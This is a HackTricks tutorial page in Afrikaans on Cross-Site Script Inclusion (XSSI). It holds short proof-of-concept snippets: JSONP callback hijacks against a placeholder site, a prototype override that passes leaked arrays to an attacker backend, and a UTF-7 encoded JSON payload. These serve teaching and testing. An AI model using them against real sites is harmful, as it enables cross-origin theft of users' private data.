XSSI (Cross-Site Script Inclusion)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Cross-Site Script Inclusion (XSSI) is ân kwesbaarheid wat ontstaan uit die aard van die script tag in HTML. Anders as die meeste hulpbronne, wat onderhewig is aan die Same-Origin Policy (SOP), kan skripte van verskillende domeine ingesluit word. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehoste is, te fasiliteer, maar dit stel ook ân potensiĂ«le sekuriteitsrisiko in.
Sleutelkenmerke van XSSI:
- Omseiling van SOP: Skripte is vrygestel van die Same-Origin Policy, wat dit moontlik maak om oor domeine ingesluit te word.
- Data Blootstelling: ân Aanvaller kan hierdie gedrag benut om data wat via die
scripttag gelaai is, te lees. - Impak op Dinamiese JavaScript/JSONP: XSSI is veral relevant vir dinamiese JavaScript of JSON met Padding (JSONP). Hierdie tegnologieĂ« gebruik dikwels âambient-authorityâ inligting (soos koekies) vir outentisering. Wanneer ân skripversoek na ân ander gasheer gemaak word, word hierdie geloofsbriewe (bv. koekies) outomaties in die versoek ingesluit.
- Outentiseringstoken Lek: As ân aanvaller ân gebruiker se blaaier kan mislei om ân skrip van ân bediener wat hulle beheer, aan te vra, mag hulle in staat wees om sensitiewe inligting wat in hierdie versoeke vervat is, te bekom.
Tipes
- Statische JavaScript - Dit verteenwoordig die konvensionele vorm van XSSI.
- Statische JavaScript met Outentisering - Hierdie tipe is uniek omdat dit outentisering vereis om toegang te verkry.
- Dinamiese JavaScript - Betrek JavaScript wat dinamies inhoud genereer.
- Nie-JavaScript - Verwys na kwesbaarhede wat nie direk JavaScript betrek nie.
Die volgende inligting is ân opsomming van https://www.scip.ch/en/?labs.20160414. Kyk daarna vir verdere besonderhede.
Gereelde XSSI
In hierdie benadering is private inligting ingebed in ân wĂȘreldwyd toeganklike JavaScript-lĂȘer. Aanvallers kan hierdie lĂȘers identifiseer deur metodes soos lĂȘerlees, sleutelwoordsoektogte, of gereelde uitdrukkings. Sodra dit geleĂ« is, kan die skrip wat private inligting bevat, ingesluit word in kwaadwillige inhoud, wat ongeoorloofde toegang tot sensitiewe data moontlik maak. ân Voorbeeld van ân uitbuitingsmetode word hieronder getoon:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>
Dinamiese-JavaScript-gebaseerde-XSSI en Geverifieerde-JavaScript-XSSI
Hierdie tipes XSSI-aanvalle behels dat vertroulike inligting dinamies by die skrip gevoeg word in reaksie op ân gebruiker se versoek. Opsporing kan gedoen word deur versoeke met en sonder koekies te stuur en die antwoorde te vergelyk. As die inligting verskil, kan dit die teenwoordigheid van vertroulike inligting aandui. Hierdie proses kan geoutomatiseer word met behulp van gereedskap soos die DetectDynamicJS Burp-uitbreiding.
As vertroulike data in ân globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as diĂ© wat in Gereelde XSSI gebruik word. As die vertroulike data egter in ân JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie oorneem om die inligting te verkry. Dit kan gedoen word deur Ăłf globale voorwerpe te manipuleer Ăłf ân funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer:
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
Vir veranderlikes wat nie in die globale naamruimte woon nie, kan prototype tampering soms uitgebuit word. Hierdie tegniek benut JavaScript se ontwerp, waar kode-interpretasie behels om die prototipe-ketting te deurkruis om die aangeroepde eienskap te vind. Deur sekere funksies te oorskry, soos Array se slice, kan aanvallers toegang verkry tot en nie-globale veranderlikes lek:
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}
Verder besonderhede oor aanvalsvektore kan gevind word in die werk van Sekuriteitsnavorsers Sebastian Lekies, wat ân lys van vectors onderhou.
Non-Script-XSSI
Takeshi Terada se navorsing stel ân ander vorm van XSSI bekend, waar Non-Script lĂȘers, soos CSV, oor oorsprong gelek word deur as bronne in ân script tag ingesluit te word. Historiese voorbeelde van XSSI, soos Jeremiah Grossman se 2006 aanval om ân volledige Google adresboek te lees en Joe Walker se 2007 JSON data lek, beklemtoon die erns van hierdie bedreigings. Boonop beskryf Gareth Heyes ân aanvalvariant wat UTF-7 geĂ«nkodeerde JSON insluit om die JSON-formaat te ontsnap en skripte uit te voer, effektief in sekere blaaiers:
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

